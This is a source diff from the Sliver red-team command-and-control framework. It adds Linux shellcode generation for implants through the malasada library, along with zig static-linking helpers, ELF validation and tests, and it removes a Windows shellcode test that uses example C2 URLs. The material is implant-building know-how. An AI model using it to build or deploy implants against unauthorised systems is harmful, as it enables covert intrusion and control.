||||||
DonutExitOpt uint32
|
DonutExitOpt uint32
|
||||||
|
|||||||
@@ -63,6 +63,7 @@ func newDBClient() *gorm.DB {
|
|||||||
&models.DNSCanary{},
|
&models.DNSCanary{},
|
||||||
&models.Crackstation{},
|
&models.Crackstation{},
|
||||||
&models.Benchmark{},
|
&models.Benchmark{},
|
||||||
|
&models.CrackJob{},
|
||||||
&models.CrackTask{},
|
&models.CrackTask{},
|
||||||
&models.CrackCommand{},
|
&models.CrackCommand{},
|
||||||
&models.CrackFile{},
|
&models.CrackFile{},
|
||||||
|
|||||||
+321
-22
@@ -21,8 +21,10 @@ package generate
|
|||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"crypto/sha256"
|
"crypto/sha256"
|
||||||
|
"debug/elf"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io"
|
||||||
"io/fs"
|
"io/fs"
|
||||||
"os"
|
"os"
|
||||||
"path"
|
"path"
|
||||||
@@ -45,6 +47,7 @@ import (
|
|||||||
"github.com/bishopfox/sliver/util"
|
"github.com/bishopfox/sliver/util"
|
||||||
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
utilEncoders "github.com/bishopfox/sliver/util/encoders"
|
||||||
"github.com/sliverarmory/beignet"
|
"github.com/sliverarmory/beignet"
|
||||||
|
"github.com/sliverarmory/malasada"
|
||||||
"golang.org/x/mod/module"
|
"golang.org/x/mod/module"
|
||||||
"golang.org/x/text/cases"
|
"golang.org/x/text/cases"
|
||||||
"golang.org/x/text/language"
|
"golang.org/x/text/language"
|
||||||
@@ -116,6 +119,185 @@ const (
|
|||||||
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
SliverPlatformCXX32EnvVar = "SLIVER_%s_CXX_32"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func isZigCC(cc string) bool {
|
||||||
|
cc = strings.TrimSpace(cc)
|
||||||
|
if cc == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
parts := strings.Fields(cc)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// We typically set CC as: "<zigpath> cc -target <triple>"
|
||||||
|
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && parts[1] == "cc" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// Fallback: user-provided CC might not match our canonical format.
|
||||||
|
return strings.Contains(cc, "zig cc")
|
||||||
|
}
|
||||||
|
|
||||||
|
func isZigCompilerCmd(cmd string) bool {
|
||||||
|
cmd = strings.TrimSpace(cmd)
|
||||||
|
if cmd == "" {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
parts := strings.Fields(cmd)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
// We typically set CC/CXX as: "<zigpath> cc|c++ -target <triple>"
|
||||||
|
if filepath.Base(parts[0]) == "zig" && len(parts) >= 2 && (parts[1] == "cc" || parts[1] == "c++") {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
// Fallback: user-provided compilers might not match our canonical format.
|
||||||
|
return strings.Contains(cmd, "zig cc") || strings.Contains(cmd, "zig c++")
|
||||||
|
}
|
||||||
|
|
||||||
|
func ensureZigPrefixMap(cmd string) string {
|
||||||
|
if !isZigCompilerCmd(cmd) {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
zigDir := assets.GetZigDir()
|
||||||
|
if zigDir == "" {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
mapPrefix := fmt.Sprintf("-fdebug-prefix-map=%s=", zigDir)
|
||||||
|
if strings.Contains(cmd, mapPrefix) {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(cmd + fmt.Sprintf(" -fdebug-prefix-map=%s=/zig", zigDir))
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendToLDFlags(ldflags []string, extra string) []string {
|
||||||
|
extra = strings.TrimSpace(extra)
|
||||||
|
if extra == "" {
|
||||||
|
return ldflags
|
||||||
|
}
|
||||||
|
if len(ldflags) == 0 {
|
||||||
|
return []string{extra}
|
||||||
|
}
|
||||||
|
if len(ldflags) == 1 {
|
||||||
|
if strings.TrimSpace(ldflags[0]) == "" {
|
||||||
|
ldflags[0] = extra
|
||||||
|
return ldflags
|
||||||
|
}
|
||||||
|
ldflags[0] = strings.TrimSpace(ldflags[0] + " " + extra)
|
||||||
|
return ldflags
|
||||||
|
}
|
||||||
|
// go build only accepts a single argument for -ldflags, but callers may have
|
||||||
|
// mistakenly provided multiple. Coalesce into one string.
|
||||||
|
joined := strings.TrimSpace(strings.Join(ldflags, " "))
|
||||||
|
if joined == "" {
|
||||||
|
joined = extra
|
||||||
|
} else {
|
||||||
|
joined = joined + " " + extra
|
||||||
|
}
|
||||||
|
return []string{joined}
|
||||||
|
}
|
||||||
|
|
||||||
|
func applyZigStaticLinking(goConfig *gogo.GoConfig, buildmode string, ldflags []string) (updated []string, enabled bool) {
|
||||||
|
if goConfig == nil {
|
||||||
|
return ldflags, false
|
||||||
|
}
|
||||||
|
if goConfig.GOOS != LINUX {
|
||||||
|
return ldflags, false
|
||||||
|
}
|
||||||
|
if !isZigCC(goConfig.CC) {
|
||||||
|
return ldflags, false
|
||||||
|
}
|
||||||
|
// zig/clang treats `-static` + `-shared` as "build a static archive", which
|
||||||
|
// results in an ar archive misnamed as ".so". Never force `-static` for
|
||||||
|
// c-shared builds.
|
||||||
|
if buildmode == "c-shared" {
|
||||||
|
return ldflags, false
|
||||||
|
}
|
||||||
|
// Force a fully static link for Linux executables when using zig. This keeps
|
||||||
|
// cross-compiled artifacts self-contained.
|
||||||
|
ldflags = appendToLDFlags(ldflags, "-linkmode=external -extldflags=-static")
|
||||||
|
return ldflags, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func sanitizeZigForBuild(goConfig *gogo.GoConfig, buildmode string) {
|
||||||
|
if goConfig == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Always apply the prefix-map flags to any zig toolchain we invoke so we
|
||||||
|
// don't leak the Sliver-managed zig root dir (often under ~/.sliver/zig) into
|
||||||
|
// build artifacts.
|
||||||
|
goConfig.CC = ensureZigPrefixMap(goConfig.CC)
|
||||||
|
goConfig.CXX = ensureZigPrefixMap(goConfig.CXX)
|
||||||
|
|
||||||
|
if goConfig.GOOS != LINUX || buildmode != "c-shared" || !isZigCC(goConfig.CC) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ensure we don't accidentally carry a user-provided `-static` into a shared
|
||||||
|
// object link (zig would emit an ar archive).
|
||||||
|
stripStatic := func(cmd string) string {
|
||||||
|
parts := strings.Fields(cmd)
|
||||||
|
if len(parts) == 0 {
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
out := make([]string, 0, len(parts))
|
||||||
|
for _, p := range parts {
|
||||||
|
if p == "-static" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
out = append(out, p)
|
||||||
|
}
|
||||||
|
return strings.Join(out, " ")
|
||||||
|
}
|
||||||
|
goConfig.CC = stripStatic(goConfig.CC)
|
||||||
|
goConfig.CXX = stripStatic(goConfig.CXX)
|
||||||
|
|
||||||
|
// zig's default linux toolchain target in Sliver is musl, which is great for
|
||||||
|
// static executables. For shared objects, musl shared libraries are rarely
|
||||||
|
// present on the target. Prefer a glibc target for shared objects.
|
||||||
|
goConfig.CC = strings.ReplaceAll(goConfig.CC, "-linux-musl", "-linux-gnu")
|
||||||
|
goConfig.CXX = strings.ReplaceAll(goConfig.CXX, "-linux-musl", "-linux-gnu")
|
||||||
|
}
|
||||||
|
|
||||||
|
func validateELFSharedObject(path string, requireFullyStatic bool) error {
|
||||||
|
f, err := os.Open(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer f.Close()
|
||||||
|
|
||||||
|
// Sniff common mis-builds first for clearer errors.
|
||||||
|
var hdr [8]byte
|
||||||
|
n, err := io.ReadFull(f, hdr[:])
|
||||||
|
if err != nil && err != io.ErrUnexpectedEOF {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if 8 <= n && bytes.HasPrefix(hdr[:], []byte("!<arch>\n")) {
|
||||||
|
return fmt.Errorf("output %q is an ar archive (expected an ELF shared object). This usually means the build used -buildmode=c-archive or zig was invoked with -static while linking a shared object", path)
|
||||||
|
}
|
||||||
|
if n < 4 || !bytes.Equal(hdr[:4], []byte{0x7f, 'E', 'L', 'F'}) {
|
||||||
|
return fmt.Errorf("output %q does not look like an ELF file", path)
|
||||||
|
}
|
||||||
|
|
||||||
|
ef, err := elf.NewFile(f)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if ef.Type != elf.ET_DYN {
|
||||||
|
return fmt.Errorf("output %q is not an ELF shared object (ET_DYN), got %v", path, ef.Type)
|
||||||
|
}
|
||||||
|
|
||||||
|
if requireFullyStatic {
|
||||||
|
needed, err := ef.DynString(elf.DT_NEEDED)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to read DT_NEEDED from %q: %w", path, err)
|
||||||
|
}
|
||||||
|
if len(needed) != 0 {
|
||||||
|
return fmt.Errorf("output %q is not fully static (DT_NEEDED=%v); this usually means zig did not link statically", path, needed)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
// GetSliversDir - Get the binary directory
|
// GetSliversDir - Get the binary directory
|
||||||
func GetSliversDir() string {
|
func GetSliversDir() string {
|
||||||
appDir := assets.GetRootAppDir()
|
appDir := assets.GetRootAppDir()
|
||||||
@@ -134,20 +316,111 @@ func GetSliversDir() string {
|
|||||||
// Sliver Generation Code
|
// Sliver Generation Code
|
||||||
// -----------------------
|
// -----------------------
|
||||||
|
|
||||||
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet)
|
// SliverShellcode - Generates a sliver shellcode (Windows: Donut, macOS: beignet, Linux: malasada)
|
||||||
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||||
switch config.GOOS {
|
switch config.GOOS {
|
||||||
case WINDOWS:
|
case WINDOWS:
|
||||||
return windowsShellcode(name, build, config, pbC2Implant)
|
return windowsShellcode(name, build, config, pbC2Implant)
|
||||||
case DARWIN:
|
case DARWIN:
|
||||||
return darwinShellcode(name, build, config, pbC2Implant)
|
return darwinShellcode(name, build, config, pbC2Implant)
|
||||||
|
case LINUX:
|
||||||
|
return linuxShellcode(name, build, config, pbC2Implant)
|
||||||
}
|
}
|
||||||
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
return "", fmt.Errorf("shellcode format is not supported on %s", config.GOOS)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func linuxShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||||
|
if config.GOARCH != "amd64" && config.GOARCH != "arm64" {
|
||||||
|
return "", fmt.Errorf("linux shellcode format not supported on %s architecture", config.GOARCH)
|
||||||
|
}
|
||||||
|
if len(config.Exports) == 0 {
|
||||||
|
return "", fmt.Errorf("linux shellcode requires at least one export symbol")
|
||||||
|
}
|
||||||
|
|
||||||
|
appDir := assets.GetRootAppDir()
|
||||||
|
|
||||||
|
var cc string
|
||||||
|
var cxx string
|
||||||
|
if runtime.GOOS != config.GOOS || runtime.GOARCH != config.GOARCH {
|
||||||
|
buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
||||||
|
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||||
|
}
|
||||||
|
|
||||||
|
goConfig := &gogo.GoConfig{
|
||||||
|
CGO: "1",
|
||||||
|
CC: cc,
|
||||||
|
CXX: cxx,
|
||||||
|
|
||||||
|
GOOS: config.GOOS,
|
||||||
|
GOARCH: config.GOARCH,
|
||||||
|
GOCACHE: gogo.GetGoCache(appDir),
|
||||||
|
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||||
|
GOROOT: gogo.GetGoRootDir(appDir),
|
||||||
|
GOPROXY: getGoProxy(),
|
||||||
|
HTTPPROXY: getGoHttpProxy(),
|
||||||
|
HTTPSPROXY: getGoHttpsProxy(),
|
||||||
|
|
||||||
|
Obfuscation: config.ObfuscateSymbols,
|
||||||
|
GOGARBLE: goGarble(config),
|
||||||
|
}
|
||||||
|
sanitizeZigForBuild(goConfig, "c-shared")
|
||||||
|
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||||
|
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||||
|
|
||||||
|
config.IsSharedLib = true
|
||||||
|
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
tmpFile, err := os.CreateTemp("", "sliver-*.so")
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
tmpFile.Close()
|
||||||
|
defer os.Remove(tmpFile.Name())
|
||||||
|
soDest := tmpFile.Name()
|
||||||
|
|
||||||
|
tags := []string{}
|
||||||
|
if config.NetGoEnabled {
|
||||||
|
tags = append(tags, "netgo")
|
||||||
|
}
|
||||||
|
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||||
|
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||||
|
gcFlags := ""
|
||||||
|
asmFlags := ""
|
||||||
|
_, err = gogo.GoBuild(*goConfig, pkgPath, soDest, "c-shared", tags, ldflags, gcFlags, asmFlags)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
if goConfig.GOOS == LINUX {
|
||||||
|
if err := validateELFSharedObject(soDest, wantStaticSO); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
compress := false
|
||||||
|
if config.ShellcodeConfig != nil && config.ShellcodeConfig.Compress == 2 {
|
||||||
|
compress = true
|
||||||
|
}
|
||||||
|
shellcodeBin, err := malasada.ConvertSharedObject(soDest, config.Exports[0], compress)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
shellcodeDest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
|
||||||
|
shellcodeDest += ".bin"
|
||||||
|
|
||||||
|
err = os.WriteFile(shellcodeDest, shellcodeBin, 0600)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
return shellcodeDest, nil
|
||||||
|
}
|
||||||
|
|
||||||
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||||
if config.GOARCH != "arm64" {
|
if config.GOARCH != "arm64" {
|
||||||
return "", fmt.Errorf("darwin shellcode format is only supported for arm64 architecture")
|
return "", fmt.Errorf("darwin shellcode format not supported on %s architecture", config.GOARCH)
|
||||||
}
|
}
|
||||||
if len(config.Exports) == 0 {
|
if len(config.Exports) == 0 {
|
||||||
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
return "", fmt.Errorf("darwin shellcode requires at least one export symbol")
|
||||||
@@ -162,9 +435,6 @@ func darwinShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
|||||||
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
||||||
}
|
}
|
||||||
|
|
||||||
buildLog.Infof(" CC: %s", cc)
|
|
||||||
buildLog.Infof("CXX: %s", cxx)
|
|
||||||
|
|
||||||
goConfig := &gogo.GoConfig{
|
goConfig := &gogo.GoConfig{
|
||||||
CGO: "1",
|
CGO: "1",
|
||||||
CC: cc,
|
CC: cc,
|
||||||
@@ -332,6 +602,9 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
|||||||
Obfuscation: config.ObfuscateSymbols,
|
Obfuscation: config.ObfuscateSymbols,
|
||||||
GOGARBLE: goGarble(config),
|
GOGARBLE: goGarble(config),
|
||||||
}
|
}
|
||||||
|
sanitizeZigForBuild(goConfig, "c-shared")
|
||||||
|
buildLog.Infof(" CC: %s", goConfig.CC)
|
||||||
|
buildLog.Infof("CXX: %s", goConfig.CXX)
|
||||||
|
|
||||||
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -354,13 +627,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
|||||||
tags = append(tags, "netgo")
|
tags = append(tags, "netgo")
|
||||||
}
|
}
|
||||||
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
ldflags := []string{""} // Garble will automatically add "-s -w -buildid="
|
||||||
|
ldflags, wantStaticSO := applyZigStaticLinking(goConfig, "c-shared", ldflags)
|
||||||
if !config.Debug && goConfig.GOOS == WINDOWS {
|
if !config.Debug && goConfig.GOOS == WINDOWS {
|
||||||
ldflags[0] += " -H=windowsgui"
|
ldflags[0] += " -H=windowsgui"
|
||||||
}
|
}
|
||||||
// Statically link Linux .so files to avoid glibc hell
|
|
||||||
if goConfig.GOOS == LINUX && goConfig.CC != "" && goConfig.CGO == "1" {
|
|
||||||
ldflags[0] += " -linkmode external -extldflags \"-static\""
|
|
||||||
}
|
|
||||||
// Keep those for potential later use
|
// Keep those for potential later use
|
||||||
gcFlags := ""
|
gcFlags := ""
|
||||||
asmFlags := ""
|
asmFlags := ""
|
||||||
@@ -368,6 +639,11 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
|
if goConfig.GOOS == LINUX {
|
||||||
|
if err := validateELFSharedObject(dest, wantStaticSO); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return dest, err
|
return dest, err
|
||||||
}
|
}
|
||||||
@@ -376,18 +652,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
|
|||||||
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
func SliverExecutable(name string, build *clientpb.ImplantBuild, config *clientpb.ImplantConfig, pbC2Implant *clientpb.HTTPC2ImplantConfig) (string, error) {
|
||||||
appDir := assets.GetRootAppDir()
|
appDir := assets.GetRootAppDir()
|
||||||
|
|
||||||
// var cc string
|
|
||||||
// var cxx string
|
|
||||||
// cgo := "0"
|
|
||||||
// if runtime.GOOS != config.GOOS {
|
|
||||||
// buildLog.Debugf("Cross-compiling from %s/%s to %s/%s", runtime.GOOS, runtime.GOARCH, config.GOOS, config.GOARCH)
|
|
||||||
// cc, cxx = findCrossCompilers(config.GOOS, config.GOARCH)
|
|
||||||
// cgo = "1"
|
|
||||||
// }
|
|
||||||
|
|
||||||
// buildLog.Infof(" CC: %s", cc)
|
|
||||||
// buildLog.Infof("CXX: %s", cxx)
|
|
||||||
|
|
||||||
goConfig := &gogo.GoConfig{
|
goConfig := &gogo.GoConfig{
|
||||||
CGO: "0",
|
CGO: "0",
|
||||||
GOOS: config.GOOS,
|
GOOS: config.GOOS,
|
||||||
@@ -446,6 +710,7 @@ func renderSliverGoCode(name string, build *clientpb.ImplantBuild, config *clien
|
|||||||
|
|
||||||
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
buildLog.Debugf("Generating new sliver binary '%s'", name)
|
||||||
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
|
pbC2Implant = models.RandomizeImplantConfig(pbC2Implant, config.GOOS, config.GOARCH)
|
||||||
|
|
||||||
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
sliversDir := GetSliversDir() // ~/.sliver/slivers
|
||||||
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
|
||||||
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
|
||||||
@@ -910,6 +1175,11 @@ func findCrossCompilers(targetGOOS string, targetGOARCH string) (string, string)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Ensure all zig invocations have prefix maps applied (prevents absolute
|
||||||
|
// paths under the Sliver zig dir from leaking into artifacts).
|
||||||
|
cc = ensureZigPrefixMap(cc)
|
||||||
|
cxx = ensureZigPrefixMap(cxx)
|
||||||
|
|
||||||
return cc, cxx
|
return cc, cxx
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -972,7 +1242,10 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
// SHELLCODE - Windows (Donut) and macOS (beignet, darwin/arm64 only)
|
// SHELLCODE
|
||||||
|
// - Windows: Donut
|
||||||
|
// - macOS: beignet (darwin/arm64 only)
|
||||||
|
// - Linux: malasada (linux/{amd64,arm64} only)
|
||||||
for longPlatform := range SupportedCompilerTargets {
|
for longPlatform := range SupportedCompilerTargets {
|
||||||
platform := strings.SplitN(longPlatform, "/", 2)
|
platform := strings.SplitN(longPlatform, "/", 2)
|
||||||
switch platform[0] {
|
switch platform[0] {
|
||||||
@@ -1008,6 +1281,32 @@ func GetCompilerTargets() []*clientpb.CompilerTarget {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
case LINUX:
|
||||||
|
if platform[1] != "amd64" && platform[1] != "arm64" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// We can always try to build our own platform.
|
||||||
|
if runtime.GOOS == platform[0] {
|
||||||
|
targets = append(targets, &clientpb.CompilerTarget{
|
||||||
|
GOOS: platform[0],
|
||||||
|
GOARCH: platform[1],
|
||||||
|
Format: clientpb.OutputFormat_SHELLCODE,
|
||||||
|
})
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cross-compile with the right configuration (same requirements as a linux shared library build).
|
||||||
|
if runtime.GOOS == LINUX || runtime.GOOS == DARWIN {
|
||||||
|
cc, _ := findCrossCompilers(platform[0], platform[1])
|
||||||
|
if cc != "" {
|
||||||
|
targets = append(targets, &clientpb.CompilerTarget{
|
||||||
|
GOOS: platform[0],
|
||||||
|
GOARCH: platform[1],
|
||||||
|
Format: clientpb.OutputFormat_SHELLCODE,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -28,7 +28,6 @@ import (
|
|||||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||||
"github.com/bishopfox/sliver/server/certs"
|
"github.com/bishopfox/sliver/server/certs"
|
||||||
"github.com/bishopfox/sliver/server/configs"
|
"github.com/bishopfox/sliver/server/configs"
|
||||||
"github.com/bishopfox/sliver/server/encoders/shellcode/sgn"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -136,10 +135,6 @@ func TestSliverSharedLibWindows(t *testing.T) {
|
|||||||
// 386
|
// 386
|
||||||
multiLibrary(t, "windows", "386", true)
|
multiLibrary(t, "windows", "386", true)
|
||||||
multiLibrary(t, "windows", "386", false)
|
multiLibrary(t, "windows", "386", false)
|
||||||
|
|
||||||
// Shared Library Shellcode
|
|
||||||
multiWindowsLibraryShellcode(t, true)
|
|
||||||
multiWindowsLibraryShellcode(t, false)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSliverExecutableLinux(t *testing.T) {
|
func TestSliverExecutableLinux(t *testing.T) {
|
||||||
@@ -542,54 +537,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
|
|||||||
cleanupGeneratedArtifacts(t, binPath)
|
cleanupGeneratedArtifacts(t, binPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
func multiWindowsLibraryShellcode(t *testing.T, debug bool) {
|
|
||||||
t.Logf("[multi] SHELLCODE windows/amd64 - debug: %v", debug)
|
|
||||||
name := fmt.Sprintf("multilibrary_shellcode_test%d", nonce)
|
|
||||||
config := &clientpb.ImplantConfig{
|
|
||||||
GOOS: "windows",
|
|
||||||
GOARCH: "amd64",
|
|
||||||
|
|
||||||
C2: []*clientpb.ImplantC2{
|
|
||||||
{URL: "mtls://1.example.com"},
|
|
||||||
{Priority: 2, URL: "mtls://2.example.com"},
|
|
||||||
{URL: "https://3.example.com"},
|
|
||||||
{URL: "dns://4.example.com", Options: "asdf"},
|
|
||||||
},
|
|
||||||
Debug: debug,
|
|
||||||
ObfuscateSymbols: true,
|
|
||||||
Format: clientpb.OutputFormat_SHELLCODE,
|
|
||||||
IsShellcode: true,
|
|
||||||
IsSharedLib: false,
|
|
||||||
Exports: []string{"FoobarW"},
|
|
||||||
IncludeMTLS: true,
|
|
||||||
IncludeHTTP: true,
|
|
||||||
IncludeDNS: true,
|
|
||||||
}
|
|
||||||
httpC2Config := configs.GenerateDefaultHTTPC2Config()
|
|
||||||
nonce++
|
|
||||||
build, _ := GenerateConfig(name, config)
|
|
||||||
binPath, err := SliverShellcode(name, build, config, httpC2Config.ImplantConfig)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("%v", err)
|
|
||||||
}
|
|
||||||
defer cleanupGeneratedArtifacts(t, binPath)
|
|
||||||
|
|
||||||
// encode bin with sgn
|
|
||||||
bin, err := os.ReadFile(binPath)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("reading generated shared lib shellcode failed: %v", err)
|
|
||||||
}
|
|
||||||
_, err = sgn.EncodeShellcodeWithConfig(bin, sgn.SGNConfig{
|
|
||||||
Iterations: 1,
|
|
||||||
PlainDecoder: false,
|
|
||||||
Safe: true,
|
|
||||||
MaxObfuscation: 100,
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("sgn encode failed: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
func symbolObfuscation(t *testing.T, goos string, goarch string) {
|
||||||
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
|
t.Logf("[symbol obfuscation] %s/%s ...", goos, goarch)
|
||||||
name := fmt.Sprintf("symbol_test%d", nonce)
|
name := fmt.Sprintf("symbol_test%d", nonce)
|
||||||
|
|||||||
@@ -0,0 +1,126 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/server/gogo"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestIsZigCC(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
cc string
|
||||||
|
want bool
|
||||||
|
}{
|
||||||
|
{cc: "", want: false},
|
||||||
|
{cc: "gcc", want: false},
|
||||||
|
{cc: "zig cc -target x86_64-linux-musl", want: true},
|
||||||
|
{cc: "/tmp/zig cc -target x86_64-linux-musl", want: true},
|
||||||
|
{cc: "/tmp/zig c++ -target x86_64-linux-musl", want: false},
|
||||||
|
{cc: "something zig cc something", want: true},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
if got := isZigCC(tt.cc); got != tt.want {
|
||||||
|
t.Fatalf("isZigCC(%q) = %v, want %v", tt.cc, got, tt.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyZigStaticLinking(t *testing.T) {
|
||||||
|
cfg := &gogo.GoConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
CGO: "1",
|
||||||
|
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||||
|
}
|
||||||
|
ldflags, enabled := applyZigStaticLinking(cfg, "c-shared", []string{""})
|
||||||
|
if enabled {
|
||||||
|
t.Fatalf("did not expect -static flags for c-shared (zig emits an ar archive instead of a .so)")
|
||||||
|
}
|
||||||
|
if len(ldflags) != 1 {
|
||||||
|
t.Fatalf("expected a single -ldflags string, got %d (%v)", len(ldflags), ldflags)
|
||||||
|
}
|
||||||
|
if ldflags[0] != "" {
|
||||||
|
t.Fatalf("expected ldflags unchanged, got %q", ldflags[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestApplyZigStaticLinking_Executable(t *testing.T) {
|
||||||
|
cfg := &gogo.GoConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
CGO: "1",
|
||||||
|
CC: "/tmp/zig cc -target x86_64-linux-musl",
|
||||||
|
}
|
||||||
|
ldflags, enabled := applyZigStaticLinking(cfg, "", []string{""})
|
||||||
|
if !enabled {
|
||||||
|
t.Fatalf("expected static linking to be enabled for linux zig cc executable build")
|
||||||
|
}
|
